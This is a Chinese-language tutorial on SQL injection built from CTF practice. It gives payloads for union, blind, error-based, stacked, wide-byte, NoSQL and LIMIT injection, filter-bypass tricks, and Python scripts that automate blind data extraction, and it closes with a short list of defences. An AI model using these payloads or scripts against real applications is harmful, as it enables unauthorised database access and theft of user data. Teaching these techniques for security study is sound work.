通过一文了解SQL注入
字数 1730 2025-08-12 11:33:52
SQL注入全面指南
1. SQL注入概述
1.1 定义
SQL注入是一种攻击技术,攻击者通过在Web应用程序的输入字段中插入恶意的SQL代码,欺骗数据库服务器执行非授权的任意查询。
1.2 漏洞成因
- 程序没有细致过滤用户输入的数据
- Web应用程序对用户输入数据的合法性没有判断或过滤不严
- 攻击者可以在预定义查询语句的结尾添加额外的SQL语句
1.3 漏洞危害
- 未经授权访问数据库中的数据,导致用户信息泄露
- 对数据库数据进行增加或删除操作
- 篡改网页内容(如果有写入权限)
- 获取服务器最高权限,远程控制服务器
2. SQL注入常见类型
2.1 联合查询注入
特点:
- 使用UNION合并多个SELECT查询的结果集
- 要求SELECT语句必须拥有相同列且数据类型相同
- 必须有显示位(界面回显)
常用语句:
uname=n' union select 1,group_concat(schema_name) from information_schema.schemata #
union select 1,2,3的含义:
- 用于确定显示位的位置
- 数字会对应到数据库中的列
2.2 布尔盲注
适用场景:
- 应用程序返回固定界面(正确和错误执行界面不同)
- 无法直接获取信息,但可以通过逻辑判断获取数据
常用函数:
length():返回字符串长度substr(str,pos,len):从特定位置截取子字符串ascii():返回字符的ASCII码值
示例:
-1' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1)='c',1,0)#
2.3 时间盲注
适用场景:
- 应用程序返回固定界面(正确和错误执行界面相同)
- 通过延时函数判断语句执行是否正确
常用函数:
if(x,x1,x2):条件判断sleep(t):暂停t秒执行benchmark(t,y):对y的性能计算t次
替代延时方法:
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C
2.4 报错注入
适用场景:
- 无法使用联合查询但存在报错回显时
常用函数:
updatexml(XML_document,Xpath_string,new_value)extractvalue(XML_document,XPath_string)floor() + rand() + group by + count()组合
示例:
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.5 堆叠注入
特点:
- 使用分号(;)执行多条SQL语句
- 受API或数据库引擎限制
示例:
1'insert into users(id,username,password) values(88,'aaa','bbb');#
2.6 二次注入
原理:
- 用户向数据库插入恶意语句(前端转义但数据库存储原样)
- 程序信任数据库数据,直接取出执行
示例:
注册用户名为admin'#,密码为111,然后修改密码时会修改admin的密码
2.7 宽字节注入
原理:
- 前端使用UTF-8编码,后端使用GBK等宽字节编码
- 利用字符与反斜杠组合形成汉字,使特殊字符逃逸
示例:
?id=1%df%27
3. 特殊注入技术
3.1 万能语句
1' or 1=1#
原理:
select * from users where username='1' or 1=1 #' and password='1'
等价于:
select * from users where username='1' or 1=1
3.2 MD5特殊字符串
特殊字符串:ffifdyop
原理:
md5("ffifdyop",true) = 'or'6+其他字符
3.3 NoSQL注入
常用操作符:
$gt: >$lt: <$gte: >=$lte: <=$ne: 不等于$in: in$nin: not in$regex: 正则匹配
示例:
{"username": {"$ne": "admin"}, "password": "123456"}
3.4 Limit注入
原理:
- LIMIT后可使用PROCEDURE和INTO
- INTO有写入shell权限
示例:
SELECT * FROM users WHERE id >0 ORDER BY id LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
4. 防御绕过技术
4.1 函数替代
- 时间盲注:
sleep()→benchmark()→ 笛卡尔积 - 布尔盲注:
ascii()→ord() - 联合查询:
where→right join和on
4.2 大小写绕过
-1' uNion sElect 1,group_concat(username),group_concat(password) from ctfshow_user --+
4.3 预编译绕过
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
4.4 HANDLER绕过
handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
5. 实战案例
5.1 联合查询实战
-1' union select 1,group_concat(password) from ctfshow_user2--+
5.2 布尔盲注实战
import requests
url = "http://example.com/api/"
flag=""
for i in range(1,55):
for j in "0123456789abcdefghijklmnopqrstuvwxyz_-{}":
payload="-1' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)='{}',1,0)#".format(i,j)
data={'username':payload, 'password':0}
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
flag += j
print(flag)
if j=='}': exit()
break
5.3 时间盲注实战
import requests
url = "http://example.com/api/"
flag="ctfshow{"
for i in range(9,55):
for j in "0123456789ab,cdefghijklmnopqrstuvwxyz_-{}":
payload="if(substr((select flagaac from ctfshow_flagxc),{},1)='{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables D),1)"
data={'ip':payload.format(i,j), 'debug':'0'}
try:
response = requests.post(url=url,data=data,timeout=0.7)
except Exception as e:
flag += j
print(flag)
5.4 报错注入实战
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand()*2))a from information_schema.tables group by a%23
5.5 宽字节注入实战
?id=-1%df%27 union select 1,2,(select group_concat(username,0x7e,password) from security.users)--+
6. 防御措施
- 使用参数化查询(预编译语句)
- 对用户输入进行严格的过滤和转义
- 使用最小权限原则
- 对数据库错误信息进行适当处理
- 使用Web应用防火墙(WAF)
- 定期进行安全审计和渗透测试
7. 总结
SQL注入是一种危害极大的Web安全漏洞,攻击者可以通过多种方式利用此漏洞获取敏感数据或控制系统。本文详细介绍了各种SQL注入技术及其防御方法,安全开发人员应充分了解这些技术,以便更好地保护应用程序安全。